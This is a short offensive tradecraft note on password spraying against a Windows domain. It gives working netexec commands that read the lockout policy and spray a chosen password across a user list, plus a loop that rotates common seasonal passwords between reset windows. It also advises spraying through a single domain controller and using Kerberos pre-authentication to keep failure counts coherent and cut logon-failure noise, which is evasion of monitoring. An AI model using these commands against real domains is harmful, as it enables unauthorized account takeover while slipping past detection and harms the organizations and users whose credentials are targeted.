Password spraying that respects lockout policy

Blind spraying causes lockouts and alerts. Pull the policy, compute a safe rate, and spray a single well-chosen password per observation window.

netexec smb dc -u user -p pass --pass-pol   # read lockout threshold/window
netexec smb dc -u users.txt -p 'Season2025!' --continue-on-success --no-bruteforce

Rotate passwords across windows, not accounts within one.

# one attempt per user per window, wait out the reset window between rounds
for pw in Winter2025 Company#1; do spray "$pw"; sleep $window; done

Pro note: account for badPwdCount resetting per DC; spraying through a single DC keeps the count coherent. Prefer Kerberos pre-auth spraying (which some tools do) to reduce logon-failure noise, and always leave headroom below the threshold to avoid locking real users.